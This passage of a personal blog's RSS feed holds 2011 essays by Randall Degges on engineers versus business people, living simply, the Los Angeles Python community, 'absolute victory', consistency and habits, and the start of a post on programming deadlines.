problems, engineers &lt;strong>know&lt;/strong> about problems, why they exist, and how to
solve them.&lt;/li>
&lt;li>Engineers know the best way to find and build solutions to problems.&lt;/li>
&lt;li>Engineers are more creative: their understanding of how and why things work
gives them a large pool of creative ideas which would not be available to
non-technical folk.&lt;/li>
&lt;/ol>
&lt;p>Regardless of whether you exhibit useful character traits, you are lacking the
necessary skills to build solutions to your problems. This means that you are
essentially replaceable by technology.&lt;/p>
&lt;h2 id="no-incentive">No Incentive&lt;/h2>
&lt;p>What it comes down to is that technical guys really don&amp;rsquo;t have any incentives
to work with business guys. Let&amp;rsquo;s say that in a best-case scenario, a business
guy:&lt;/p>
&lt;ul>
&lt;li>Is passionate about the problem.&lt;/li>
&lt;li>Wants to help customers solve this problem by selling them your solution.&lt;/li>
&lt;li>Has a proven track record for selling to customers in this industry.&lt;/li>
&lt;li>Is in contact with a large amount of customers who are willing to give
feedback on your potential solution.&lt;/li>
&lt;li>Knows how to advertise this solution.&lt;/li>
&lt;/ul>
&lt;p>Ignoring the fact that this is a best-case scenario, the business guy is still
not needed by the engineer. Why?&lt;/p>
&lt;ul>
&lt;li>The engineer must also be passionate about this problem in order to devote
time (without pay) to working on it.&lt;/li>
&lt;li>The engineer knows how to find customers to get feedback from. He knows
that he can do an hour or two of research and collect this information.&lt;/li>
&lt;li>The engineer is able to adapt his solution to the customers problem without
a middleman. This leads to faster development, more precise solutions, and
happier customers.&lt;/li>
&lt;li>The engineer can easily advertise his solution in a pragmatic fashion using
tech tools to do so: A/B testing, online marketing, buisness analytics
tools and programs, etc.&lt;/li>
&lt;/ul>
&lt;p>Furthermore, the deal is not appealing to the engineer because the amount of
work he has to put into developing the actual solution far outweighs the amount
of time that is needed to do equal amounts of marketing and sales by the
business guy.&lt;/p>
&lt;p>To engineers it is far more profitable and enjoyable to simply build solutions
to problems without business guys, as the engineers will have:&lt;/p>
&lt;ul>
&lt;li>Complete ownership of the solution.&lt;/li>
&lt;li>Deep understanding of the problem, and solution.&lt;/li>
&lt;li>The skills necessary to build a solution, and maintain it over time.&lt;/li>
&lt;li>The smarts to market, grow, and continuously evolve the solution to make it
more successful over time.&lt;/li>
&lt;/ul>
&lt;h2 id="what-to-do">What to Do&lt;/h2>
&lt;p>Although this post comes off as extremely hostile towards &amp;ldquo;business guys&amp;rdquo;, that
is really not my intention. Instead, I hope to give &amp;ldquo;business guys&amp;rdquo; some true
understanding of business from a &amp;ldquo;tech guy&amp;rsquo;s&amp;rdquo; perspective.&lt;/p>
&lt;p>What I&amp;rsquo;d suggest business guys do, in order to develop the traits discussed in
this article, is to become a &amp;ldquo;tech guy&amp;rdquo;. Learn to program. Learn how to use
Linux. Build a passion for understanding how and why things work.  People can
change. Even the most non-technical person in the world can use their
willpower to &amp;ldquo;retrain&amp;rdquo; themselves. While it definitely involves a lot of work
and dedication, the benefits are lifelong.&lt;/p>
&lt;h2 id="tldr">TLDR;&lt;/h2>
&lt;p>If you&amp;rsquo;re a &amp;ldquo;business guy&amp;rdquo;, instead of trying to find a &amp;ldquo;tech guy&amp;rdquo; to work
with, consider working on yourself to become a &amp;ldquo;tech guy&amp;rdquo;.&lt;/p></description></item><item><title>Live Simply</title><link>https://rdegges.com/2011/live-simply/</link><pubDate>Mon, 05 Sep 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/live-simply/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/live-simply/monk-sketch.png" alt="Monk Sketch" title="Monk Sketch">
&lt;/p>
&lt;p>I often find myself living a complex life. There are so many things I want to
do, so many things I need to do, and so many things I should do that it is
often overwhelming.  While I&amp;rsquo;m definitely no expert, simplicity has become
one of the core tenants in my life. Everyday I strive to achieve simplicity in
thought and action, and while I&amp;rsquo;m only partially successful at this, working to
achieve simplicity has been one of the greatest continuing practices of my life
thus far.&lt;/p>
&lt;h2 id="why-is-life-complex">Why is Life Complex?&lt;/h2>
&lt;p>It seems that life in general has become more and more complex as time has
passed. The &lt;a href="http://en.wikipedia.org/wiki/Prokaryote" title="Prokaryotes Wiki">first organisms&lt;/a> on the planet (~4.5 billion years ago) were
simple. They didn&amp;rsquo;t even have a nucleus! As time progressed, and life
evolved, these simple organisms gradually grew into more complex and familiar
creatures (plants, animals, and humans). In short: life is continually
adapting, growing, changing, and yes&amp;ndash;becoming more complex.&lt;/p>
&lt;p>So what does this mean for us?&lt;/p>
&lt;p>I tend to think that physical evolution is mirrored in our mental evolution.
As children, our lives are relatively simple: play, eat, sleep. As we get
older, we find that many things have grown in complexity. Our lives are no
longer so simple. We worry about our future, our purpose, our destiny. We
desire for constantly improving lives and personal satisfaction, and we go to
great lengths to ensure that we achieve internal happiness. These things all
require lots of time to develop, refine, and execute. Life is not simple.
Personal growth is hard.&lt;/p>
&lt;h2 id="why-is-complexity-bad">Why is Complexity Bad?&lt;/h2>
&lt;p>Let&amp;rsquo;s assume for a minute that complexity is bad; bad in the sense that it
leads to a more stressful, crisis-filled existence, and that it ultimately
contributes to lack of personal growth and happiness. What makes it bad?&lt;/p>
&lt;p>In my personal experience, it seems that the more complex something is, the
more intimidated I am of it. For me, intimidation leads to:&lt;/p>
&lt;ul>
&lt;li>Procrastination.&lt;/li>
&lt;li>Dislike.&lt;/li>
&lt;li>Annoyance.&lt;/li>
&lt;li>Closemindedness.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve found through trial-and-error that in order for me to be successful at
something complex, I&amp;rsquo;ve got to purposely break it down into simple components,
otherwise nothing will ever get done, and it will gradually eat away at me.
Furthermore, I&amp;rsquo;ve found that this applies not only to things I &lt;em>need to do&lt;/em>,
but also metaphysical and emotional things (relationships, responsibilities,
trust, spirituality, etc.).&lt;/p>
&lt;p>What makes complex things intimidate me so much? I&amp;rsquo;ve done quite a bit of
thinking about this, and I believe the core reason complexity intimidates me is
that it seems undecipherable. For me, I often bump into complexity in
technologies. How does a certain tool work and why? What is the best way to
do ___? How might I improve my application&amp;rsquo;s performance when dealing with
factors ___ and ___? The complexity levels are (on average) extremely
high for my day-to-day work. Often times I look at my TODO list and just think
to myself &amp;ldquo;OK: How will you approach this problem? What do you need to learn
before you can even figure that out? How much time are you looking at spending
on this?&amp;rdquo; It can be nerve wrecking to analyze these complex problems with the
purpose of solving them, because I know that there is a lot of work ahead, and
it will not be simple.&lt;/p>
&lt;p>All of the factors above contribute negatively to my day-to-day being. I find
that when I&amp;rsquo;m dealing with complex things (regardless of whether it is work
related or not) I feel much more stressed, unhappy, and dissatisfied overall
than I do when I&amp;rsquo;m dealing with simple things.&lt;/p>
&lt;p>To make matters worse, the &lt;em>effects&lt;/em> of complexity tend to last far longer than
the effects of simplicity. If I have a particularly bad day where I&amp;rsquo;m working
on very complex projects, I&amp;rsquo;ll feel unhappy, frustrated, nervous, intimidated,
and unproductive for &lt;em>days&lt;/em> afterward&amp;ndash;even if I&amp;rsquo;ve only spent an hour or two
working on something complex! The negative feelings don&amp;rsquo;t leave me as quickly
as they come. In contrast, days filled with simple activities tend to make me
feel productive, happy, thoughtful, and energetic for a few hours&amp;ndash;all positive
feelings, but for a short timespan only.&lt;/p>
&lt;h2 id="why-is-simplicity-good">Why is Simplicity Good?&lt;/h2>
&lt;p>Simplicity tends to &lt;em>make sense&lt;/em>. When I work on simple things, I feel like I
have a grasp on what I&amp;rsquo;m doing, and that I&amp;rsquo;m in control of the situation, not
the other way around.  For me, having control over my actions makes me feel
powerful&amp;ndash;successful, independent, creative, and happy.&lt;/p>
&lt;p>When things are simple (work projects, relationships, arguments, conversation,
spirituality, etc.) you can easily discover what you need to do in order to
make progress&amp;ndash;to improve yourself. In simple work projects, you&amp;rsquo;re able to
quantify the tasks you need to do to:&lt;/p>
&lt;ul>
&lt;li>Figure out what needs to be done to complete the project.&lt;/li>
&lt;li>Learn the necessary skills required to complete the project.&lt;/li>
&lt;li>Complete the project.&lt;/li>
&lt;/ul>
&lt;p>In simple relationships, you can also easily spot what needs work, and improve
it. For example, my wife often gets upset with me for not doing the dishes. I
immediately know that in order to improve the relationship, I need only to start
doing them. Not difficult.  While intuitive, I&amp;rsquo;ve found that until I really
&lt;em>thought&lt;/em> about this, I completely ignored it, and would often do stupid
things.&lt;/p>
&lt;p>The result of my continual quest for simplicity has been increased confidence,
thoughtfulness, and happiness. While these effects only last for a short
while, the continual flow of them contributes to a happy lifestyle.  The
positive feelings associated with simplicity are simply too great to ignore. As
I&amp;rsquo;ve come to realize this over the years, my quest for simplicity in thought
and action has yielded immense positive net results.&lt;/p>
&lt;h2 id="how-to-live-simply">How to Live Simply&lt;/h2>
&lt;p>Ok, so we know that simplicity is good and complexity is bad. But how can we
use this knowledge to live simply? Since I&amp;rsquo;m no expert, and life is far too
complex to make bold statements that generalize simplicity for every
individual, I&amp;rsquo;ll &lt;em>simply&lt;/em> share my own practices with you.&lt;/p>
&lt;h2 id="keep-an-open-mind">Keep an Open Mind&lt;/h2>
&lt;p>One thing that leads to terrible complexity is misinformation. There is more
information available today than at any other time in history; the amount is
staggering (just look at Wikipedia&amp;rsquo;s &lt;a href="http://en.wikipedia.org/wiki/List_of_common_misconceptions" title="List of Common Misconceptions Wiki">list of common misconceptions&lt;/a>). Given
the large amount of information available, it is impossible to know everything.
Since it is impossible to know everything, there will certainly be people who
don&amp;rsquo;t know things. And out of that group of people who don&amp;rsquo;t know certain
things, some of those people will undoubtedly talk about things they don&amp;rsquo;t know
with others. Some of these people will formulate opinions about the things of
which they&amp;rsquo;re uncertain&amp;ndash;and eventually these opinions, ignorant of truth, will
be shared as misinformation.&lt;/p>
&lt;p>Keeping an open mind is crucial to living simply. Just because you &lt;em>think&lt;/em> you
know something to be true, it doesn&amp;rsquo;t mean you do. There are always people
smarter and more informed than you out there&amp;ndash;so keep an open mind. By
constantly learning and growing mentally, you&amp;rsquo;re able to see new solutions to
problems that you didn&amp;rsquo;t previously see. Having knowledge is power, and that
sort of power can greatly simplify your life by providing you with clear
insights into whatever you&amp;rsquo;re doing at the moment.&lt;/p>
&lt;h2 id="pace-yourself">Pace Yourself&lt;/h2>
&lt;p>As a person who is an all-or-nothing type of guy, this lesson has been
particularly hard for me to apply to myself. However, pacing yourself does
yield simplicity.&lt;/p>
&lt;p>In my case, I often overwork. I&amp;rsquo;ve been known (ask my wife!) to work 16-hour
days for weeks at a time. Other than the fact that it is extremely unhealthy
to work that much, my overworking causes a lot of mental hardships. It makes
me stressed, irritable, and generally unproductive. The further I push myself
past my limits, the more complex everything seems. Only when I pace myself and
try to live a balanced life do things seem to fall back into place.&lt;/p>
&lt;h2 id="be-conscious">Be Conscious&lt;/h2>
&lt;p>It&amp;rsquo;s extremely difficult to apply yourself consciously to the present. I find
that a majority of my time is spent in a semi-conscious state, just kind of
chugging along, without really focusing, analyzing, and making decisions. This
has a huge effect.&lt;/p>
&lt;p>When you don&amp;rsquo;t consciously analyze and make decisions about the things you&amp;rsquo;re
doing, you make mistakes, and you build complexity. When you focus on what
you&amp;rsquo;re doing, whatever it may be (washing dishes, doing laundry, writing some
code), you&amp;rsquo;re able to break down complexity when you see it, and find elegant
ways to make yourself more efficient.&lt;/p>
&lt;h2 id="break-complex-things">Break Complex Things&lt;/h2>
&lt;p>Whenever I begin working on something complex, the first thing I do is try to
break it. I&amp;rsquo;ll ask myself a few basic questions:&lt;/p>
&lt;ul>
&lt;li>Do I really need to do this at all?&lt;/li>
&lt;li>Do I have to do it this way, or is there a simpler alternative?&lt;/li>
&lt;li>What do I have to do, in order, to complete this task?&lt;/li>
&lt;/ul>
&lt;p>By immediately analyzing and getting a grasp on the complex thing, I&amp;rsquo;m often
able to either completely eliminate it, or substantially reduce its complexity
through analysis and breakdown.&lt;/p>
&lt;h2 id="be-honest">Be Honest&lt;/h2>
&lt;p>It&amp;rsquo;s sometimes hard to be honest about things. Maybe it&amp;rsquo;s your project
completion date. Maybe it&amp;rsquo;s your relationship&amp;rsquo;s future. Maybe it&amp;rsquo;s something
completely random. Whatever it may be&amp;ndash;be honest about it. Often times if
we&amp;rsquo;re honest with ourselves, we can get from point A to point B in a lot less
time. There&amp;rsquo;s no need to complicate things by avoiding or subverting the
truth. Instead, try to be brutally honest with yourself, and move onwards.&lt;/p>
&lt;h2 id="make-life-simple">Make Life Simple&lt;/h2>
&lt;p>All things said, life will always be complex. The best you can do is try to
live simply, and enjoy your life moment to moment. There is no single solution
to any problem, and simplicity may (or may not) help you get to where you want
to be. Maybe you&amp;rsquo;re wired completely different from me, and none of this
information applies to you&amp;ndash;who knows.&lt;/p>
&lt;p>What I do know is that my quest for simplicity has been rewarding and exciting,
and I feel like I&amp;rsquo;ve finally reached a point in my life where I have enough
consciousness to control complexity and make myself a better person.
Regardless of how you live your life, I hope you enjoy it.&lt;/p></description></item><item><title>The Growing Python Community in Los Angeles</title><link>https://rdegges.com/2011/the-growing-python-community-in-los-angeles/</link><pubDate>Sun, 24 Jul 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/the-growing-python-community-in-los-angeles/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/the-growing-python-community-in-los-angeles/hollywood-sign-sketch.png" alt="Hollywood Sign Sketch" title="Hollywood Sign Sketch">
&lt;/p>
&lt;p>As a developer living in Los Angeles, I&amp;rsquo;ve often felt distant from my
programming comrades up north in Silicon Valley. Let&amp;rsquo;s face it, Silicon Valley
gets an awful lot of attention:&lt;/p>
&lt;ul>
&lt;li>Lots of developers move there to work for cool up-and-coming startups.&lt;/li>
&lt;li>Tons of VCs throw cash at smart techies in the valley.&lt;/li>
&lt;li>An innumerable amount of &amp;ldquo;Why you need to move to Silicon Valley.&amp;rdquo; blog
posts.&lt;/li>
&lt;li>A general sense of &amp;ldquo;If I&amp;rsquo;m not living in the valley I&amp;rsquo;m probably missing
out&amp;rdquo;.&lt;/li>
&lt;/ul>
&lt;p>For those of us living outside the valley, this can be a bit disheartening.
I&amp;rsquo;ve been not-so-secretly planning to relocate out of the Southern California
area for a couple years now to pursue more high-tech culture and lifestyle up
north. Over the past few months I&amp;rsquo;ve made more of an effort to rediscover the
Los Angeles tech scene, and try to get involved. Since I&amp;rsquo;m living here, I
might as well do my best to help build and foster a kick-ass programmer
community.&lt;/p>
&lt;p>In the past I&amp;rsquo;ve tried to find cohesive tech communities in the LA area
unsuccessfully. It seems that only recently geeks around LA have been getting
together and forming &lt;em>serious&lt;/em> communities meant to foster tech growth in the
area.&lt;/p>
&lt;h2 id="community-essentials">Community Essentials&lt;/h2>
&lt;p>Let&amp;rsquo;s face it, in order to have a successful tech community you need a strong
group of passionate developers who are able to:&lt;/p>
&lt;ul>
&lt;li>Get other developers excited and interested.&lt;/li>
&lt;li>Organize and host successful events.&lt;/li>
&lt;li>Maintain interest in the organization over long periods of time, and
recruit future leaders.&lt;/li>
&lt;li>Kick ass and take names.&lt;/li>
&lt;/ul>
&lt;p>Right now, LA has a mind-blowingly amazing group of community leaders doing
just that. These guys (and gals) are all extremely skilled and passionate
individuals who are doing an excellent job of getting developers excited and
organizing kick-ass events:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/audreyr" title="audreyr">@audreyr&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/pydanny" title="pydanny">@pydanny&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/sandymahalo" title="sandymahalo">@sandymahalo&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/estherbester" title="estherbester">@estherbester&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/kjam" title="kjam">@kjam&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/xtine" title="xtine">@xtine&lt;/a>&lt;/li>
&lt;li>Other dudes who aren&amp;rsquo;t linkable!&lt;/li>
&lt;/ul>
&lt;h2 id="my-experience">My Experience&lt;/h2>
&lt;p>Over the past few months, I&amp;rsquo;ve been participating more in the &lt;a href="https://www.meetup.com/ladjango/" title="LA Django Meetup Group">LA Django&lt;/a>
and &lt;a href="http://pyladies.com/" title="pyladies">Python Ladies&lt;/a> groups. Both meetups have been great. They both have
strong leaders, and lots of programmer interest and involvement. The Django
meetup group consistently fills up the venue and helps spread interesting ideas
through lightning talks, in-depth talks, and socializing.&lt;/p>
&lt;p>The pyladies group is interesting in that they&amp;rsquo;re really helping &lt;strong>BUILD&lt;/strong> a
strong, diverse tech scene in LA. They&amp;rsquo;ve been holding numerous events&amp;ndash;
everything from detailed tutorial classes teaching python and Django to
beginners to caffeinated hack-a-thons encouraging local developers to work
together and contribute to open source.&lt;/p>
&lt;p>It has been a very exciting and motivating few months for me. I get the
feeling that the python and Django community in LA is gaining traction, and
can&amp;rsquo;t help but snowball over the coming years. All the ingredients seem to be
in place, and excitement is in the air.&lt;/p>
&lt;h2 id="get-involved">Get Involved&lt;/h2>
&lt;p>If you&amp;rsquo;re in the LA area, get involved! Go to the Python meetups in the area,
and meet the other developers. Join the &lt;code>#pyladies&lt;/code> IRC channel on Freenode,
and chat with other developers. The &lt;code>#pyladies&lt;/code> IRC channel is an &lt;em>amazing&lt;/em>
resource, it&amp;rsquo;s filled with the coolest pythonistas in the LA area.&lt;/p></description></item><item><title>Absolute Victory</title><link>https://rdegges.com/2011/absolute-victory/</link><pubDate>Sun, 17 Jul 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/absolute-victory/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/absolute-victory/barbarian-sketch.png" alt="Barbarian Sketch" title="Barbarian Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve recently started reading biographies of famous historical figures, and
came across some very interesting stuff while reading
&lt;a href="http://www.amazon.com/gp/product/0609809644/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0609809644&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Ghengis Khan and the Making of the Modern World">Ghengis Khan and the Making of the Modern World&lt;/a>, a biography of the life
of &lt;a href="http://en.wikipedia.org/wiki/Ghengis_Khan" title="Ghengis Khan Wiki">Ghengis Khan&lt;/a> (&lt;em>an amazing book, by the way&lt;/em>).&lt;/p>
&lt;p>While Ghengis Khan had many traits worth writing about, one in particular
caught my attention: &lt;strong>absolute victory&lt;/strong>. When Ghengis Khan entered
conflicts, he did so with 100% of his energy and effort. To him, every
challenge required life-or-death dedication, and the complete destruction of
his enemies. During times of war, after the &lt;a href="http://en.wikipedia.org/wiki/Mongols" title="Mongols Wiki">Mongols&lt;/a> had conquered a city,
they would then:&lt;/p>
&lt;ul>
&lt;li>Round up and kill all of the rich people living there.&lt;/li>
&lt;li>Loot the city.&lt;/li>
&lt;li>Leave the city, allowing the citizens of the city to manage it as they
pleased.&lt;/li>
&lt;li>Marry one of the new city officials into Ghengis Khan&amp;rsquo;s family.&lt;/li>
&lt;/ul>
&lt;p>During Ghengis Khan&amp;rsquo;s time period, this was unheard of. Instead of simply
looting the city and moving on, Ghengis Khan went to extraordinary measures to
completely desolate the city&amp;rsquo;s political structure by killing all members of
high-society, thereby removing the main long-term threat of revenge and future
political problems. Furthermore, by allowing the local populations to control
their own cities as normal, and by marrying one of their officials into his
family&amp;ndash;Ghengis Khan adopted these cities as his own family. This helped unify
cities under his overall rule, and lead to a sense of security and loyalty for
the people living in these regions. Even though they were not Mongols by
culture, they had become Mongols by family ties, and through their great
treatment, allies of Ghengis Khan.&lt;/p>
&lt;p>This led me to think of how &lt;em>absolute victory&lt;/em> is perceived in today&amp;rsquo;s society.
In modern society (at least in Western culture), &lt;em>absolute victory&lt;/em> is heavily
frowned upon. It is often said that one should do &amp;ldquo;one&amp;rsquo;s best&amp;rdquo;, and that
relentlessly pursuing victory is selfish. I believe this view stems from
Western mannerisms. It is considered impolite to publicly display your lust
for victory. By wanting to achieve victory, it is often implied that you want
others to lose, which makes people feel uncomfortable.&lt;/p>
&lt;p>I like the idea of &lt;em>absolute victory&lt;/em>. It inspires passion, drive, and desire.
The idea of simply &amp;ldquo;doing your best&amp;rdquo; may sound noble, but often doesn&amp;rsquo;t live up
to its expectations. When you simply shoot for &amp;ldquo;your best&amp;rdquo; in anything you do,
you subconsciously lower the bar for &amp;ldquo;your best&amp;rdquo;. By missing the critical
component of competition and life-or-death dedication you remove an enormous
amount of pressure from yourself to achieve at a much higher level.&lt;/p>
&lt;p>Imagine how much more you could achieve by mentally staking all or nothing on
victory. Instead of working on that new startup you&amp;rsquo;ve been thinking of,
commit to it life-or-death. Make it into the best possible company you can,
and push it to a level that leaves no room for competition of any sort.
Completely dominate your competitors in every way, and leave only ashes in your
wake. It may sound extreme, but focusing on &lt;em>absolute victory&lt;/em> will help drive
you to do your best work.&lt;/p>
&lt;p>Try harnessing that fire inside of you, and practice &lt;em>absolute victory&lt;/em> on a
project sometime this week. Be merciless with your execution. &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">Let me know&lt;/a>
how it works out, I&amp;rsquo;m extremely interested in this sort of thing.&lt;/p></description></item><item><title>The Root of all Change</title><link>https://rdegges.com/2011/the-root-of-all-change/</link><pubDate>Sat, 16 Jul 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/the-root-of-all-change/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/the-root-of-all-change/tree-sketch.png" alt="Tree Sketch" title="Tree Sketch">
&lt;/p>
&lt;p>I think a lot about philosophy. One specific area that fascinates me more and
more is personal development and achievement. How do people achieve greatness?
What drives them? What separates amazing performance from standard
performance, and why is it that some people are able to reach such
unprecedented levels of success?&lt;/p>
&lt;p>In my quest to continually learn more about this phenomena, I&amp;rsquo;ve read numerous
books and blogs on the subject. Some of the greater ones have been (in no
particular order):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/1591842948/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1591842948&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Talent Is Overrated">Talent Is Overrated&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.sebastianmarshall.com/" title="Sebastian Marshall">Sebastian Marshall&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/1936719010/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1936719010&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Do the Work">Do the Work&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/140003003X/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=140003003X&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="My Life">My Life&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/1449389554/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1449389554&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Hackers and Painters">Hackers &amp;amp; Painters&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/1401309704/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1401309704&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Power of Less">The Power of Less&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>And this is just to name &lt;em>a few&lt;/em>. In the past 6 months alone, I&amp;rsquo;ve read well
over 20 books on the topic, searching for answers and similarities between
them. I suppose you could say that my quest for knowledge has become a bit of
an obsession.&lt;/p>
&lt;p>What I&amp;rsquo;ve come to believe after so much research is that the root of all change
is &lt;strong>consistency&lt;/strong>. I&amp;rsquo;ve discussed this before, in various other articles and
various other manners&amp;ndash;but at the core of all change lies consistency. Let me
explain.&lt;/p>
&lt;p>In order to achieve your goals, whatever they may be, you need to change
something about yourself. Let&amp;rsquo;s say you want to become the strongest man in
the world, you&amp;rsquo;ll need to change your diet, training, schedule, and many other
self traits. But this is not enough on its own. Even if you change your
training schedule, it brings you no closer to your goal if you don&amp;rsquo;t
&lt;em>consistently&lt;/em> execute it.&lt;/p>
&lt;p>The only way that true change can be manifested is through &lt;em>consistent&lt;/em> effort,
over and over again. In the book, &lt;a href="http://www.amazon.com/gp/product/1591842948/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1591842948&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Talent Is Overrated">Talent Is Overrated&lt;/a>, the author
describes several scientific studies which track musicians for long periods of
time. Without exception, the best players are the ones who &lt;em>consistently&lt;/em>
practice playing over and over again, longer than their peers.&lt;/p>
&lt;p>The conclusion the study comes to is that talent (as we know it) is
nonexistent. The only thing that separates amazing performers from standard or
sub-par performers is the amount of effort (e.g. &lt;em>consistency&lt;/em>) they put into
it. Study after study referenced in the book draws the same conclusions. The
most successful, powerful, and top-performers in their fields always have one
thing in common: &lt;em>consistency&lt;/em>.&lt;/p>
&lt;p>So what does this mean for us? I know that for me, it means that in order to
achieve the goals I&amp;rsquo;ve set for myself, and to develop into the person I someday
hope to become, I need to continuously make small changes in my daily life, and
&lt;em>consistently&lt;/em> execute them, day after day. Of course, &lt;em>consistency&lt;/em> is not
easy to achieve. It requires willpower, motivation, and desire. If you&amp;rsquo;ve
ever tried to start a new exercise or diet regiment, you likely know what I&amp;rsquo;m
talking about. It can be really, REALLY hard to make the right choices every
day. For me, everyday is a battle to continue improving, bit by bit.&lt;/p>
&lt;p>When I started making my own life changes, I decided to look for ways to get
help building &lt;em>consistency&lt;/em> into my daily routine. The best tool I found was
&lt;a href="http://habitforge.com/" title="HabitForge">HabitForge&lt;/a> (check it out). HabitForge is a great web app that helps you
build &lt;em>consistency&lt;/em> through habits. Their approach is this: you create a new
habit (exercise 30 minutes a day, read for 30 minutes a day, write 1 page of
text each day, etc.), and if you &lt;em>consistently&lt;/em> execute this habit for 21 days
in a row, then you&amp;rsquo;ll have overcome the psychological hardships associated with
starting a new habit (life change). HabitForge emails you every day, asking if
you completed your daily habit, and requests your input (in yes/no format). If
you answer no to any of the daily emails, then your completion counter resets
to 1 (out of 21), and you&amp;rsquo;ve got to &lt;em>consistently&lt;/em> execute your habit for
another 20 days in a row in order to engrain it into your person.&lt;/p>
&lt;p>The way HabitForge helps you develop &lt;em>consistency&lt;/em> in whatever you want to do
is by providing you with extra motivation: you want to see that completion
counter show that you&amp;rsquo;ve &amp;ldquo;mastered&amp;rdquo; a habit&amp;ndash;so you are less likely to avoid
your task and more likely to complete it every day in a &lt;em>consistent&lt;/em> fashion.&lt;/p>
&lt;p>I&amp;rsquo;ve been using HabitForge for months now, and it&amp;rsquo;s been a great tool. I&amp;rsquo;ve
used it to:&lt;/p>
&lt;ul>
&lt;li>Lose 80lbs.&lt;/li>
&lt;li>Read for 30 minutes a day.&lt;/li>
&lt;li>Exercise 6 days a week.&lt;/li>
&lt;li>Adjust my sleep schedule.&lt;/li>
&lt;li>And other things I won&amp;rsquo;t get into here.&lt;/li>
&lt;/ul>
&lt;p>As I continue working towards my goals, I try to constantly remind myself that
&lt;em>consistency&lt;/em> is key. Even when you don&amp;rsquo;t feel like putting in the time
towards your daily goal&amp;ndash;do it anyway, it adds up over time. And that is the
core way to make change. &lt;em>Consistency&lt;/em>.&lt;/p></description></item><item><title>On Programming Deadlines</title><link>https://rdegges.com/2011/on-programming-deadlines/</link><pubDate>Thu, 23 Jun 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/on-programming-deadlines/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/on-programming-deadlines/computer-sketch.png" alt="Computer Sketch" title="Computer Sketch">
&lt;/p>
&lt;p>There are a lot of differences between programming, and programming
professionally. The most notorious of which, is deadlines.&lt;/p>
&lt;h2 id="deadlines">Deadlines&lt;/h2>
&lt;p>When you&amp;rsquo;re writing code for yourself, you can spend as much (or as little
time) on it as you please&amp;ndash;but when you&amp;rsquo;re writing code for &lt;em>other&lt;/em> people,
you&amp;rsquo;ve got only a limited amount of time and resources to get the job done.
In my experience, this typically leads to one of two situations:&lt;/p>
&lt;ul>
&lt;li>You&amp;rsquo;ve got to extend the deadline to finish the job properly.&lt;/li>
&lt;li>You&amp;rsquo;ve got to write some dirty hacks to finish the job.&lt;/li>
&lt;/ul>
&lt;p>If you&amp;rsquo;ve ever done professional programming, you know what I mean. Very few
projects are agile enough to allow for both sufficient time and resources to
get the job done. This leads to tough decisions for programmers.&lt;/p>
&lt;p>No self-respecting programmer wants to deliver sub-par code; but it&amp;rsquo;s difficult
to consistently deliver high-quality code when dealing with time obligations,
especially in professional environments where you&amp;rsquo;re dealing with non-engineers
who don&amp;rsquo;t necessarily understand the concept of technical debt.&lt;/p>
&lt;p>Luckily, there are some guidelines you can follow to help minimize the amount
of &amp;lsquo;hackery&amp;rsquo; you have to do when writing code on a deadline. They aren&amp;rsquo;t
necessarily quick-fixes, but can certainly be helpful to anyone who needs to
consistently push out top-notch code, day after day.&lt;/p>
&lt;h2 id="rule-1-setup-continuous-deployment-before-writing-any-code">Rule 1: Setup Continuous Deployment Before Writing ANY Code&lt;/h2>
